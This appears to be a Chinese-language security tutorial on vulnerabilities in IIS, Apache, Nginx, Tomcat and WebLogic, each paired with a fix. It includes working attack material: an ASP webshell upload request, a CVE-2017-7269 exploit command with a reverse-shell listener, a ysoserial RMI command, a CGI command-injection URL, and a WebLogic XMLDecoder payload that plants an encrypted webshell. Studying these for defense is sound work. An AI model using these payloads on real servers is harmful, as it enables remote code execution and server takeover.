中间件漏洞

中间件概述

Middleware，提供系统软件和应用软件之间连接的软件，便于软件各部件之间的沟通

中间件处在操作系统和更高一级应用程序之间。他充当的功能是：将应用程序运行环境与操作系统隔离，从而实现应用程序开发者不必为更多系统问题忧虑，而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种

是一类能够为一种或多种应用程序合作互通、资源共享，同时还能够为该应用程序提供相关的服务的软件

我们经常管web中间件叫做web服务器或者web容器

常见web中间件

iis、apache、tomcat、nginx、jboss、Weblogic、WebSphere

一、iis6x

1、PUT漏洞

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ，配置了可以写入的权限，造成任意文件上传

Version：IIS6.0

漏洞复现

开启 WebDAV 和写权限

用burpsuite 提交OPTIONS 查看支持的协议

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25
<%eval request("cmd")%>
MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp

shell.asp写入成功

漏洞修复

1.关闭webdav

2.关闭写入权限

2、iis6.0解析漏洞

基于文件名

原理

该版本默认将*.asp;.jpg 此种格式的文件名，当成Asp解析。服务器默认不解析 ; 号及其后面的内容，相当于截断

iis除了会将asp解析成脚本执行文件之外，还会将 cer cdx asa扩展名解析成asp

iis6.0->主目录->配置 查看 这几种扩展名都是指向同一个文件

C:WINDOWSsystem32inetsrvasp.dll 所以都解析成asp

复现

通过文件上传，或者创建文件，格式为*.asp;.jpg

防御

1.禁止创建和上传此类畸形文件

2.图片存放目录设置成禁止脚本文件执行

3.升级iis版本

基于文件夹

原理

该版本默认将 *.asp/ 目录下的所有文件当成Asp解析

复现

创建文件.asp文件夹 上传图片格式后门到此目录

防御

1.禁止创建此类文件夹

2.升级iis版本

3、IIS短文件漏洞

介绍

Windows 以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果

原理

当后缀小于4时，短文件名产生需要文件(夹)名前缀字符长度大于等于9位

当后缀大于等于4时，文件名前缀字符长度即使为1，也会产生短文件名

目前IIS支持短文件名猜测的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种

IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功

复现

提醒一下 IIS8.0以下版本需要开启ASP.NET支持，IIS>=8.0版本,即使没有安装ASP.NET，通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现

短文件名特征：

1.只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增

2.后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断

3.所有小写字母均转换成大写的字母

4.长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀

5.长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。

使用payload验证目标是否存在IIS短文件名漏洞,下图显示的404,说明目标存在该短文件名

注：* 可以匹配n个字符, n可以为0

http://upload.moonteam.com/~1/a.aspx

通过浏览器访问一个不存在的短文件名，会返回400状态码, 400说明该文件不存在

http://upload.moonteam.com/zzzz~1/a.aspx

4、通过浏览器访问上面两个payload,根据返回的结果,可以说明目标存在IIS短文件漏洞

5、判断漏洞存在后,接下来手工详细分析猜解IIS短文件名

在网站目录下新建一个 abcde1231111.txt文件,分别访问

http://upload.moonteam.com/a~1/a.aspx

http://upload.moonteam.com/b~1/a.aspx

通过两次的提交确认了a是404 b是400 所以存在a文件开头的短文件。

通过上面的方法接着往后猜

http://upload.moonteam.com/abcde~1/a.aspx

到这文件名已经出来了，接着就是判断是目录还是文件

http://upload.moonteam.com/abcde*~1/a.aspx

判断是文件 按照a-z进行测试 404表示存在 400表示不存在 第一个字符不是a开头的文件http://upload.moonteam.com/abcde~1.txt/a.aspx

6.按照上面的方法依次猜解得到该短文件名的后缀是txt 短文件名为 abcde~1.txt 可以接着猜解abcde1231111.txt文件名

7.使用IIS短文件名扫描软件，获取目标存在哪些短文件名

python iis_shortname_Scan.py http://upload.moonteam.com/

防御

1、升级.net framework

2、修改注册表键值：

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlFileSystem

修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效

命令行关闭 fsutil behavior set disable8dot3 1

新建文件 aaaaaaaaaaaaaazzzzz.txt 已经没有短文件名了

注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。如果不重新复制，已经存在的短文件名则是不会消失的。

将web文件夹的内容拷贝到另一个位置，如c:www到c:ww,然后删除原文件夹，再重命名c:ww到c:www

4、iis RCE-CVE-2017-7269

介绍

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展

复现

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

python iis 192.168.0.115 80 192.168.0.154 9999

nc -lvnp 9999

防御

1.关闭 WebDav服务

2.升级

3.部署安全设备

二、iis7x

1、iis7文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下，在任意文件，例：a001.jpg/png后面加上/.php，会将a001.jpg/png解析为php文件

复现

上传图片到网站允许目录 在图片上加上/.php

http://192.168.0.148:8980/1.jpg/.php

防御

1.配置 cgi fix_pathinfo（php inil中）为0并重启php-cgi程序

2.编辑映射模块->映射->打勾

2、HTTP.SYS远程代码执行(MS15-034)

介绍

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.SYS

HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

主要存在Windows+IIS的环境下，任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

IS7.5、IIS8.0、IIS8.5

复现

访问网站

编辑请求头，增加Range: bytes=0-18446744073709551615字段，若返回码状态为416 RequestedRange Not Satisfiable，则存在HTTP.SYS远程代码执行漏洞

GET / HTTP/1.1
Host: 192.168.0.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Range: bytes=0-18446744073709551615
Content-Length: 2

poc 地址 https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

服务器卡起来了

修复建议

1.安装修复补丁（KB3042553）

三、apache

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的 Web 服务器端软件之一

apache目录结构

bin：存放常用命令工具，如httpd

cgi-bin：存放linux下常用命令，如xxx.sh

error：错误记录

htdocs：网站源码

icons：网站图标

manual：手册

modules：扩展模块

1、未知扩展名解析漏洞

漏洞原理

Apache默认一个文件可以有多个以点分割的后缀，当最右边的后缀无法识别，则继续向左识别，直到识别到合法后缀才进行解析

复现

上传了一个名字叫lcx.php.qqq 的文件，当此特性存在的时候，一看.qqq不认识继续解析，.php我认识，解析成php文件了。访问也是同理，比如访问phpinfo.php.qqq可成功显示phpinfo

哪些后缀Apache不认识？

不在mime.types当中的都不认识 （Multipurpose Internet Mail Extensions）

到安装Apache的目录下找这个文件

1. 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞。

2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。

3. 利用此漏洞时必须保证扩展名中至少带有一个.php，不然将默认作为txt/html文档处理

kali复现漏洞

sudo service apache2 restart

cd /etc/apache2/mods-enabled

sudo vi php7.4.conf

正则表达式中，$用来匹配字符串结尾位置。如果设置了RegExp对象的Multiline属性的条件下，还会匹配到字符串结尾的换行符"n"或"r"

把$换成. 然后重启apache即可解析成php sudo service apache2 restart

在/var/www/html 创建x.php.bak 并写入 <?php phpinfo();?>

修复建议

解决方案一

在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为.php.的访问权限：

解决方案二

如果需要保留文件名，可以修改程序源代码，替换上传文件名中的“.”为“_”：

$filename = strreplace(‘.’, ‘‘, $filename);

2、AddHandler导致的解析漏洞

漏洞

(1)apache在解析文件时有一个原则：当碰到不认识的扩展名时，将会从后往前解析，直到遇到认识的扩

展名为止

(2)如果都不认识将会暴露源码

在apache配置不当的时候就会造成apache解析漏洞

复现

1、在httpd.conf 把注释去掉，后缀是存在.php .phtml都会解析成php文件

AddType application/x-httpd-php .php .phtml

修复建议

1.在httpd.conf或httpd-vhosts.conf中加入以下语句，从而禁止文件名格式为.php.的访问权限

<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>

2.把配置不当的文件进行修改

3、目录遍历漏洞

原理

客户端访问到一个目录时，Apache服务器将会默认寻找一个index list中的文件，若文 件不存在，则会列出当前目录下所有文件或返回403状态码，而列出目录下所有文件的行为称为目录遍历

复现

DocumentRoot "C:phpStudyWWW"
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>

防御

在httpd.conf文件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes +FollowSymLinks + ExecCGI并保存（吧+修改为-）

• Indexes 允许目录浏览

— Indexes 禁止目录浏览

4、Apache HTTPD 换行解析漏洞（CVE-2017-15715）

漏洞描述

Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.phpx0a将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

可以看到这里获取文件名是需要单独post一个name的，因为如果通过 $_FILES[‘file’][‘name’] 获取文件名的话，会把x0a自动去除，所以 $_FILES[‘file’][‘name’] 这种方式获取文件名就不会造成这个漏洞

影响范围

apache ：2.4.0~2.4.29版本

漏洞复现

<html>
<head><meta charset="utf-8"></head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">文件名：</label>
<input type="file" name="file" id="file"><br>
<input type="text" name="name" <br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
<br />
<?php
if(isset($_FILES['file'])){
#1.php php
$name =basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
$array=array('php','php3','php4','php5','phtml','pht');
if(in_array($ext,$array)){
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'],'./'.$name);
}
?>

后台是通过黑名单方式过滤了php后缀的文件，根据最开始的知识，什么样的文件算是php文件呢？在有定义，这句话的意思是以php结尾的文件都算php文件，在正则中表示匹配输入字符串的结尾位置。如果设置了 RegExp对象的 Multiline属性，则也匹配 n 或 r恰好，我们在文件末尾加了0x0a（n），所以被匹配成功了。

0x0a和0x0d

1.0x0d r CR这三者代表是回车，是同一个东西，回车的作用只是移动光标至该行的起始位置

2.0x0a n CL这三者代表换行，是同一个东西，换行至下一行行首起始位置

打开

sudo docker stop charming_kare

sudo docker rm charming_kare

sudo docker images

sudo docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e

VUL_IP=0.0.0.0 7ea558c9f385

进入容器

sudo docker exec -it practical_snyder /bin/bash

把2e改成0a

http://192.168.0.159:62059/moona.php%0a

修复建议

1.升级到最新版本

2.或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行

四、nginx

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，在BSD-like协议下发行。其特点是占有内存少，并发能力强，事实上nginx的并发能力确实在同类型的网页服务器中表现较好

1、文件解析漏洞

漏洞描述

该漏洞是由于Nginx中php配置不当而造成的，与Nginx版本无关，但在高版本的php中，由于security.limit_extensions的引入，使得该漏洞难以被成功利用。

在已经上传了恶意1.jpg文件后，访问/1.jpg/xxx.php，（路径修复cgi.fix_pathinfo=1后）使得Nginx将其解析为php文件传给php-cgi程序（传给路径位于SERVER["SCRIPT_FILENAME"]，修复去除路径位SERVER["PATH_INFO"]），但cgi程序将其解析为1.jpg并执行

漏洞复现

使用phpstudy nginx php5.2.7

漏洞原理分析

Nginx的处理程序和FastCGI处理程序不同导致

Nginx拿到URI为/1.jpg/xxx.php后，识别处后缀是.php，认为是php文件，转交给PHP FastCGI处理程序去处理。PHP FastCGI处理程序识别该URI： /1.jpg/xxx.php不存在，按照PHP FastCGI处理程序自己的规则，删去最后的/xxx.php，又看/1.jpg存在，就将/1.jpg当成要执行的文件，就成功解析。

Nginx传送给PHP FastCGI处理程序的路径可以在phpinfo中查看【传送路径查看】

当php遇到文件路劲为/1.jpg/xxx.php/ss.001时，该文件不存在，会删除最后的/ss.001，再判断/1.jpg/xxx.php是否存在，若存在则将/1.jpg/xxx.php当作/1.jpg/xxx.php/ss.001文件，若不存在，则继续删除最后一个路径。删除的多余路径会存在PATH_INFO中，在这里为ss.001

修复方案

1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面

2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php

2、目录遍历漏洞

漏洞描述

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露

漏洞原理

修改nginx.conf,在如下图位置添加autoindex on

autoindex on;

autoindex on 开启目录浏览 autoindex off关闭目录浏览 默认是关闭状态

漏洞复现

漏洞修复

1.设置 autoindex off 关闭目录浏览

2.删除 autoindex on

3、空字节代码执行漏洞

漏洞描述

在使用PHP-FastCGI执行php的时候，URL里面在遇到%00空字节时与FastCGI处理不一致，导致可在非php文件中嵌入php代码，通过访问url+%00.php来执行其中的php代码。如：http://local/robots.txt.php会把robots.txt文件当作php来执行

影响版本：

nginx 0.5.*

nginx 0.6.*

nginx 0.7 <= 0.7.65

nginx 0.8 <= 0.8.37

漏洞复现

开启nginx

在网站目录下添加1.jpg文件

访问该文件

抓包，添加%00

这里由于该图非正常，在抓包时最后面添加..，可以让burpsuite抓到

将请求修改为：

/1.jpg..php

发包

漏洞修复

1.在nginx虚拟机配置或者fcgi.conf配置加如下代码

if ($request_filename ~* (.*).php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}

2.升级 nginx

4、整数溢出漏洞（CVE-2017-7529）

漏洞描述

在 Nginx 的 range filter 中存在整数溢出漏洞，可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞，并导致信息泄露。

该漏洞影响所有 0.5.6 – 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。

通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值

漏洞复现

https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529

检测脚本

#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)

漏洞修复

升级版本

5、CRLF注入漏洞

漏洞描述

Nginx将传入的url进行解码，对其中的%0a%0d替换成换行符，导致后面的数据注入至头部，造成CRLF注入漏洞

复现

设置https跳转，这样就可以接收到url，进而进行处理。在

C:phpStudyPHPTutorialnginxconfnginx.conf文件中添加下面一行话

location / {

return 302 https://$host$uri;

}

构造url，访问

http://192.168.0.155/%0ASet-cookie:JSPSESSID%3D3

漏洞修复

1、删除配置不当的配置

6、文件名逻辑漏洞（CVE-2013-4547）

漏洞描述

这一漏洞的原理是非法字符空格和截止符（）会导致Nginx解析URI时的有限状态机混乱，此漏洞可导致目录跨越及代码执行，其影响版本为：nginx 0.8.41 – 1.5.6

漏洞复现

创建 1.jpg 文件，并上传

抓包，在该文件最后添加一个空

可以看到上传成功

访问该文件，burpbuite抓包处理

访问URL：http://192.168.112.111/1.jpg…php

在burp的hex页面中将第一个点.改成20，第二个改为00

漏洞修复

1.升级nginx

五、tomcat

tomcat是一个开源而且免费的jsp服务器，属于轻量级应用服务器。它可以实现JavaWeb程序的装载，是

配置JSP（Java Server Page）和JAVA系统必备的一款环境

目录介绍

webapp：工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。

META-INF：META-INF 目录用于存放工程自身相关的一些信息，元文件信息，通常由开发工具，环境自动成。

WEB-INF：Java web应用的安全目录。所谓安全就是客户端无法访问，只有服务端可以访问的目录。

/WEB-INF/classes：存放程序所需要的所有 Java class 文件。

/WEB-INF/lib：存放程序所需要的所有 jar 文件。

/WEB-INF/web.xml：web 应用的部署配置文件。它是工程中最重要的配置文件，它描述了 servlet 和组成应用的其它组件，以及应用初始化参数、安全管理约束等。

1、Tomcat 远程代码执行漏洞（CVE-2017-12615）

当 Tomcat运行在Windows操作系统时，且启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

漏洞原理

当在Tomcat的conf（配置目录下）/web.xml配置文件中添加readonly设置为false时，将导致该漏洞产生，（需要允许put请求）

CVE-2017-12615影响范围： Apache Tomcat 7.0.0 – 7.0.79 Apache Tomcat/8.5.19

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

文件下载 https://github.com/rebeyond/Behinder/releases

漏洞复现

拉取靶场 启动

支持三种上传绕过方式 默认使用put 加文件名是失败的 需要绕过

PUT /shell.jsp%20

PUT /shell.jsp::$DATA

PUT /shell.jsp/

修复

1.设置 readonly为true

2、tomcat弱口令&war远程部署

漏洞原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat，未修改造成未授权即可进入后台，或者管理员把密码设置成弱口令，

使用工具对其进行穷举。得到密码后，也可以进行后台上传恶意代码控制服务器

漏洞复现

输入账号和密码 tomcat

制作后门 打包zip改名成war即可

找到上传，选择waf上传

上传会自动解压 用客户端进行连接即可获取

漏洞修复

1.设置强口令

conf/tomcat-users.xml

<user username="tomcat" password="tomcat" roles="manager-gui,manager-

script,manager-jmx,manager-status,admin-gui,admin-script" />

2.删除manger文件

3、tomcat 远程代码执行(CVE-2019-0232)

漏洞描述

Apache Tomcat是美国阿帕奇（Apache）软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page（JSP）的支持。

4月11日，Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞（CVE-2019-0232），由于JRE将命令行参数传递给Windows的方式存在错误，会导致CGI Servlet受到远程执行代码的攻击。

触发该漏洞需要同时满足以下条件：

1. 系统为Windows

2. 启用了CGI Servlet（默认为关闭）

3. 启用了enableCmdLineArguments（Tomcat 9.0.*及官方未来发布版本默认为关闭）

影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

漏洞复现

搭建tomcat后修改web.xml

Tomcat的CGI_Servlet组件默认是关闭的，在 conf/web.xml 中找到注释的CGIServlet部分，去掉注释，并配置enableCmdLineArguments和executable，如下：

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

然后修改在conf/context.xml中的添加privileged="true"语句

<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts --
>
<!--
<Manager pathname="" />
-->
</Context>

在webappsROOTWEB-INF下创建一个cgi-bin文件夹，并在文件夹内创建一个bat文件写入

@echo off

echo Content-Type: text/plain

echo.

set off=%~1

%off%

完成后访问http://192.168.0.136:8080/cgi-bin/hello.bat?clienttype=8&version=7.55.1.101&from=win32_yunguanjia&C%3A%5CWindows%5CSystem32%5Cnet%20user

漏洞修复

受影响版本的用户应该应用下列其中一项缓解。升级到

Apache Tomcat 9.0.18或更高版本

Apache Tomcat 8.5.40或更高版本

Apache Tomcat 7.0.93或更高版本

4、tomcat反序列化漏洞(cve-2016-8735)

漏洞描述

该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞（CVE-2016-3427）相关，是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后，Tomcat未能及时修复更新而导致 的远程代码执行。

该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。

影响范围

漏洞影响版本：

ApacheTomcat 9.0.0.M1 到9.0.0.M11

ApacheTomcat 8.5.0 到8.5.6

ApacheTomcat 8.0.0.RC1 到8.0.38

ApacheTomcat 7.0.0 到7.0.72

ApacheTomcat 6.0.0 到6.0.47

漏洞复现

利用条件：外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口，来实现远程代码执行。

conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口：

<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener"

rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />

修改bincatalina.bat

在Execute The Requested Comman上面添加

set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false –

Dcom.sun.management.jmxremote.authenticate=false

-Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯

-Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证

允许 startup.bat tomcat 查看端口

执行命令

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001

Groovy1 "calc.exe"

执行弹窗计算器

漏洞修复

1、关闭 JmxRemoteLifecycleListener 功能，或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时，增加严格的认证方式。

2、根据官方去升级更新相对应的版本

5、Apache Tomcat文件包含漏洞CVE-2020-1938）

漏洞描述

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目，两者都是免费的，都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat上所有 webapp 目录下的任意文件，如：webapp 配置文件或源代码等

影响版本

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009 AJP协议端口，两个端口默认均监听在外网ip

-->
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息，prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。

使用攻击payload执行即可

https://github.com/xindongzhuaizhuai/CVE-2020-1938

python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.0.168

漏洞修复

1.更新到安全版本

Apache Tomcat 7.0.100

Apache Tomcat 8.5.51

Apache Tomcat 9.0.31

https://tomcat.apache.org/download-70.cgi

https://tomcat.apache.org/download-80.cgi

https://tomcat.apache.org/download-90.cgi

或Github下载：https://github.com/apache/tomcat/releases

2.关闭AJP服务，修改Tomcat配置文件Service.xml,注释掉

3、配置ajp配置中的secretRequired跟secret属性来限制认证

六、Weblogic

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic是美商Oracle的主要产品之一，是并购BEA得来。是商业市场上主要的Java（J2EE）应用服务器软件（application server）之一，是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal，WebLogic Integration等企业用的中间件（但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包），以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具

1、weblogic 弱口令getshell漏洞

漏洞描述

在weblogic搭建好之后没有修改进入后台的密码 导致弱口令登录获得webshell

漏洞复现

访问 登录页面

使用默认密码进行登录，如果登录不上使用字段进行穷举 weblogic常用弱口令： http://cirt.net/passwords?criteria=weblogic

错误密码5次之后就会自动锁定，这里使用weblogic/Oracle@123登陆后台

登录后台后 点击部署 点击安装 点击上传文件

jar -cvf aaa.war .

打包后门war文件 上传即可

点击下一步

点击下一步

点击完成 来到这个页面

访问网站网址即可获取webshell

http://192.168.0.185:7001/z/shell.jsp

漏洞修复

1.设置强口令

2、XMLDecoder反序列化漏洞(CVE-2017-3506)

漏洞描述

WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271，Oracle官方在2017年10月份发布了该漏洞的补丁，但没有公开漏洞细节，如果企业未及时安装补丁，存在被攻击的风险。对企业服务器发起了大范围远程攻击，对大量企业的服务器造成了严重威胁，受影响版本：10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

漏洞复现

环境weblogic的版本为10.3.6

访问以下目录中的一种，有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

发送post包

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 192.168.0.185:7001

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/hAccept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;

Trident/5.0)

Connection: close

Content-Type: text/xml

Content-Length: 1228

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.js
p</string>
<void method="println"><string>
<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U
extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST"))
{String k="e45e329feb5d925b";session.putValue("u",k);Cipher
c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta
nce().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问网址 密码 rebeyond

修复方案

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求，考虑是否删除WLS-WebServices组件。包含此组件路径为：

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-

wsat.war

Middleware/wlserver_10.3/server/lib/wls-wsat.war

